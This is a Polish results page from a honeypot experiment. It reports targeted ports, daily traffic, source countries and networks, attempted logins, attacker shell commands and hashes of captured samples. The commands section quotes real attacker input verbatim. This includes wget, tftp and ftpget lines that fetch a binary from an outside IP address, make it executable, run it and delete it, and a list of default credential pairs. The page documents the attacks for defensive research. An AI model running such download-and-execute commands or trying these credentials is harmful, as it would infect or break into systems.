Wyniki · Eksperyment typu „honeypot”

Ranking portów #

Główna tabela eksperymentu: które porty cieszyły się największym zainteresowaniem wśród atakujących. Można sortować według dowolnej kolumny, filtrować według serwera oraz wyszukiwać konkretny port, zakres lub nazwę usługi. Do każdego wiersza można odwołać się, na przykład #port-3389.

W przypadku srv4 uwzględnia się rzeczywisty port docelowy z hptcp. Porty przekierowania (42222, 42223, 42280, 42443) nie są uwzględniane jako porty docelowe.

Port	Protokół	Standardowa usługa	Serwer	Eksperymenty	Unikalny adres IP	Udział
5901	tcp	VNC	oba serwery	883 864	801	16,1 %
3389	tcp	RDP	oba serwery	734 148	2 425	13,4 %
3389	tcp	RDP	srv4	726 599	1 515	18,1 %
5900	tcp	VNC	oba serwery	707 172	1 343	12,9 %
445	tcp	SMB	oba serwery	459 930	6 055	8,4 %
5901	tcp	VNC	srv4	449 586	598	11,2 %
5901	tcp	VNC	srv3	434 278	655	29,7 %
445	tcp	SMB	srv3	415 953	5 570	28,4 %
5900	tcp	VNC	srv4	360 884	1 098	9,0 %
5900	tcp	VNC	srv3	346 288	1 176	23,7 %

Okno czasowe: 21. 8. 2026 – 16. 9. 2026
Dane źródłowe: honeypot-ports-aggregated-20260922.csv
Skrypt: zostanie opublikowany
Format: dokumentacja pól

Zmiany w czasie #

Liczba zdarzeń w czasie, podzielona na kampanie i szum tła, a poniżej liczba unikalnych adresów IP. Jak wynika z dzienników agentów, poszczególne kampanie generowały większość dziennego ruchu. Bez takiego podziału wykres wprowadzałby w błąd: kampania wyglądałaby jak trend, a jej zakończenie jak przerwa w gromadzeniu danych.

To, w jaki sposób kampania oddziela się od szumu tła, określa skrypt podany pod wykresem.

Liczba zdarzeń

Szum podstawowy
Kampanie

Unikalne adresy IP

Liczba różnych adresów IP źródłowych w każdym dniu.

srv3
srv4

Nie można sumować unikalnych adresów IP między serwerami – ten sam adres mógł służyć do ataku na oba serwery. Dlatego każdy serwer ma własną linię.

Zaciemnione kolumny i puste kółka oznaczają niekompletne okresy: okno gromadzenia danych rozpoczyna się i kończy o godz. 12:00 UTC, a okres przycięty zgodnie z wybranym zakresem jest krótszy niż pozostałe. Nie należy ich zatem porównywać z sąsiednimi.

Wyświetl wartości w formie tabeli

Dzień (UTC)	Wydarzenia	Kampanie	Szum podstawowy	Unikalny adres IP srv3	Unikalny adres IP srv4
22. 8. 2026 · niekompletne	82 303	59 843	22 460	547	1 870
23. 8. 2026	79 276	34 177	45 099	1 292	3 529
24. 8. 2026	48 928	10 775	38 153	1 429	3 309
25. 8. 2026	69 902	29 825	40 077	1 552	3 824
26. 8. 2026	68 792	28 709	40 083	1 552	3 775
27. 8. 2026	204 306	161 642	42 664	1 585	4 301
28. 8. 2026	201 823	159 044	42 779	1 364	4 083
29. 8. 2026	206 275	171 641	34 634	1 029	3 853
30. 8. 2026	185 689	148 263	37 426	975	4 176
31. 8. 2026	539 919	504 248	35 671	1 488	4 183
1. 9. 2026	720 200	666 265	53 935	1 573	4 500
2. 9. 2026	275 758	209 955	65 803	1 859	4 281
3. 9. 2026	274 675	227 972	46 703	1 621	4 343
4. 9. 2026	219 422	167 450	51 972	1 628	4 087
5. 9. 2026	154 023	95 631	58 392	1 535	4 117
6. 9. 2026	131 807	46 399	85 408	1 637	4 349
7. 9. 2026	184 403	94 877	89 526	1 494	4 402
8. 9. 2026	169 747	59 781	109 966	1 758	4 609
9. 9. 2026	177 572	48 861	128 711	1 733	4 671
10. 9. 2026	193 394	60 866	132 528	1 818	5 095
11. 9. 2026	210 418	63 267	147 151	1 747	5 402
12. 9. 2026	254 827	82 831	171 996	1 859	5 450
13. 9. 2026	236 911	105 016	131 895	1 854	5 434
14. 9. 2026	213 640	83 835	129 805	1 994	5 516
15. 9. 2026	272 074	159 141	112 933	1 884	5 303
16. 9. 2026 · niekompletne	101 115	28 713	72 402	1 386	3 449

Okno czasowe: 21. 8. 2026 – 16. 9. 2026
Dane źródłowe: timeline-aggregated na razie niedostępne
Skrypt: zostanie opublikowany
Format: dokumentacja pól

Mapa pochodzenia połączeń #

Skąd pochodziły połączenia. Kraj określa się na podstawie rejestracji adresu IP, a nie rzeczywistej lokalizacji atakującego – za adresem może kryć się wynajęty serwer lub zainfekowany komputer w dowolnym miejscu na świecie. Dokładne dane przedstawiono w tabelach poniżej.

Mapa jest generowana przez serwis Datawrapper; podczas jej ładowania przeglądarka łączy się z serwerami tego serwisu. Otwórz mapę osobno

Geografia i sieci #

Skąd pochodził ruch na podstawie geolokalizacji źródłowego adresu IP oraz do jakich autonomicznych systemów (ASN) należą te adresy. Geolokalizacja wskazuje, gdzie adres jest zarejestrowany, a nie gdzie znajduje się osoba atakująca.

Najczęściej wybierane kraje

US 37,6 %2 057 660
DE 22,5 %1 230 744
CN 10,2 %556 778
GB 8,9 %486 870
SC 3,4 %184 746
NL 2,2 %120 671
TN 1,8 %96 601
VN 1,2 %64 512
MX 1,1 %59 561
IN 0,9 %49 705
SG 0,9 %49 368
BR 0,8 %44 530
RU 0,8 %42 439
HK 0,7 %38 439
RO 0,7 %37 368

Największe sieci (ASN)

ASN	Sieć	Wydarzenia	Unikalny adres IP	Udział
51167	CONTABO DE	1 036 962	168	18,9 %
22295	ADVIN US	924 717	7	16,9 %
36352	AS-COLOCROSSING US	388 883	131	7,1 %
212238	CDNEXT GB	385 498	98	7,0 %
396982	GOOGLE-CLOUD-PLATFORM US	171 392	3 170	3,1 %
14061	DIGITALOCEAN-ASN US	138 119	2 732	2,5 %
45090	TENCENT-NET-AP Shenzhen Tencent Computer Systems Company Limited CN	133 244	114	2,4 %
209334	MODAT-01 NL	114 475	93	2,1 %
197170	TECHTIES-AS - TechTies Inc. SC	110 821	185	2,0 %
45102	ALIBABA-CN-NET Alibaba US Technology Co., Ltd. CN	101 319	303	1,8 %

Wyświetl wartości w formie tabeli

Kraj	Wydarzenia	Unikalny adres IP
IS	6	3
RE	6	3
CG	5	3
ML	5	4
PR	4	4
LR	4	1
VG	3	1
BJ	3	1
FJ	3	2
DK	3	2

Okno czasowe: 21. 8. 2026 – 16. 9. 2026
Dane źródłowe: geo-aggregated na razie niedostępne
Skrypt: zostanie opublikowany
Format: dokumentacja pól

Dane logowania #

Kombinacje nazw użytkownika i haseł, które sprawdzali atakujący, oraz najczęściej sprawdzane nazwy użytkowników. Wartości są przedstawione dokładnie tak, jak zostały przesłane.

Najczęściej wybierane nazwy użytkownika

root 4 665 haseł43 470
admin 722 haseł10 909
enable\x00 2 haseł2 938
user 216 haseł2 100
sa 83 haseł2 049
support 178 haseł1 551
test 215 haseł1 518
ubuntu 100 haseł1 456
cloud 148 haseł1 281
postgres 93 haseł1 198
batacek 147 haseł1 164
srv 147 haseł1 154
shell\x00 1 haseł965
deploy 66 haseł925
ftp 459 haseł876

Najczęstsze kombinacje

Imię	Hasło	Eksperymenty	Unikalny adres IP
`�� #�'daemon`	`daemon`	1	1
`�� #�'default`	`OxhlwSG8`	1	1
`�� #�'default`	`S2fGqNFs`	1	1
`�� #�'default`	`default`	1	1
`�� #�'default`	`lJwpbo6`	1	1
`�� #�'ftp`	`ftp`	1	1
`�� #�'hikvision`	`hikvision`	1	1
`�� #�'pi`	`raspberry`	1	1
`�� #�'postgres`	`postgres`	1	1
`�� #�'root`	(puste)	1	1

Okno czasowe: 21. 8. 2026 – 16. 9. 2026
Dane źródłowe: credentials-aggregated na razie niedostępne
Skrypt: zostanie opublikowany
Format: dokumentacja pól

Co działo się po zalogowaniu #

Polecenia wprowadzone przez atakujących w emulowanej powłoce, uporządkowane według częstotliwości. Jest to dane wprowadzone przez atakującego, a nie kod, który faktycznie byłby wykonywany na serwerze.

Pierwotny zapis, wyświetlany dokładnie w takiej postaci, w jakiej powstał.

Polecenie	Liczba	Relacje
`>/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/`	510	510
`>/var/d && chmod 777 /var/d && /var/d && cd /var/`	510	510
`>/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/`	510	510
`>/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/`	510	510
`(wget http://185.93.89.72/wget -O- \|\| busybox wget http://185.93.89.72/wget -O-) > w; chmod 777 w; ./w; rm -rf w`	501	501
`(tftp -g 185.93.89.72 -r tftp -l- \|\| busybox tftp -g 185.93.89.72 -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t`	489	489
`(ftpget 185.93.89.72 f ftpget \|\| busybox ftpget 185.93.89.72 f ftpget) > f; chmod 777 f; ./f; rm -rf f`	485	485
`cd /dev/`	432	432
`rm /dev/.t; rm /dev/.sh; rm /dev/.human`	432	432
`cat /bin/echo`	411	411

Okno czasowe: 21. 8. 2026 – 16. 9. 2026
Dane źródłowe: attacker-commands-aggregated na razie niedostępne
Skrypt: zostanie opublikowany
Format: dokumentacja pól

Pobrane próbki #

Pliki, które atakujący próbowali pobrać lub przesłać, w podziale na typ i architekturę.

Tutaj znajdują się tylko skróty i metadane. Same próbki znajdują się w zarchiwizowanym pliku chronionym hasłem w sekcji Dane

Według typu pliku

PE1 058
ELF58
script39
data35

Zgodnie z architekturą

—1 132
x86_6424
arm11
x864
mips4
mipsel4
aarch643
riscv2
elf-0x5d2
sh1
elf-0x41
ppc1
sparc1

SHA-256	Typ	Architektura	Rozmiar	Po raz pierwszy	Uchwycone	Wyszukaj
01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b	data	—	1 B	23. 8. 2026 16:54:42	492	VirusTotal
01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b	data	—	1 B	23. 8. 2026 10:04:58	330	VirusTotal
f2e2ffc024ab99eb49fa207756481aa80713398142f30888aebace5706909b36	data	—	697 B	23. 8. 2026 12:07:36	243	VirusTotal
a6296a79f44e21b76604d2d2bbf795d2cf380f70e39d45fbf166707ff3b4a6a4	script	—	306 B	22. 8. 2026 18:09:16	208	VirusTotal
4af5a5c98ad132095c6fbe7b02c242153a190a01cc321e50a916a0ca46fbaa62	data	—	9 B	22. 8. 2026 18:09:19	206	VirusTotal
4af5a5c98ad132095c6fbe7b02c242153a190a01cc321e50a916a0ca46fbaa62	data	—	9 B	22. 8. 2026 15:49:53	205	VirusTotal
a9b1c85a7bd78dd1112ecc75c9070ea8c53078831a17aa09ebeb287fe6e21b72	data	—	9 B	7. 9. 2026 11:48:13	59	VirusTotal
1193dde1c831808bf6f2db6f5b850b846b8a7f870873ec3b8a347f21cc5d96e3	data	—	9 B	7. 9. 2026 11:48:13	59	VirusTotal
14049d077b887cbb8060d223ff9626664a044a8c3145f6a2b95a325df36b279b	data	—	7 B	13. 9. 2026 15:31:53	58	VirusTotal
43728fbfb98bb39ff61a2db0fc2905bd6937997062b05b9ab8b186fdee18c09a	data	—	399 B	23. 8. 2026 00:49:29	47	VirusTotal

Okno czasowe: 21. 8. 2026 – 16. 9. 2026
Dane źródłowe: samples-aggregated na razie niedostępne
Skrypt: zostanie opublikowany
Format: dokumentacja pól

Porównanie serwerów #

O ile wzrosło obciążenie dzięki większej powierzchni i czym różnią się oba serwery pod względem struktury.

Wartości bezwzględne obu serwerów nie są porównywalne – srv4 oferował powierzchnię o rząd wielkości większą. Sens ma porównywanie struktury i kolejności, a nie wielkości. Więcej

Wskaźnik	srv3	srv4	srv4 / srv3
Próby połączenia (lista portów)	1 462 877	4 014 322	2,7×
Porty, których to dotyczy	45	58 628	1 302,8×
Zdarzenia (zmiany w czasie)	1 462 877	4 014 322	2,7×

srv3 najczęściej używane porty

5901/tcp VNC434 278
445/tcp SMB415 953
5900/tcp VNC346 288
22/tcp SSH77 679
443/tcp HTTPS25 880
23/tcp Telnet24 961
5060/udp SIP22 484
80/tcp HTTP18 336
3000/tcp HTTP alt9 322
3389/tcp RDP7 549

srv4 najczęściej używane porty

3389/tcp RDP726 599
5901/tcp VNC449 586
5900/tcp VNC360 884
1256/tcp341 276
8787/tcp340 499
8082/tcp HTTP alt323 345
1080/tcp SOCKS270 186
5800/tcp VNC HTTP159 507
22/tcp SSH61 829
445/tcp SMB43 977

Okno czasowe: 21. 8. 2026 – 16. 9. 2026
Dane źródłowe: honeypot-ports-aggregated-20260922.csv, timeline-aggregated na razie niedostępne
Skrypt: zostanie opublikowany
Format: dokumentacja pól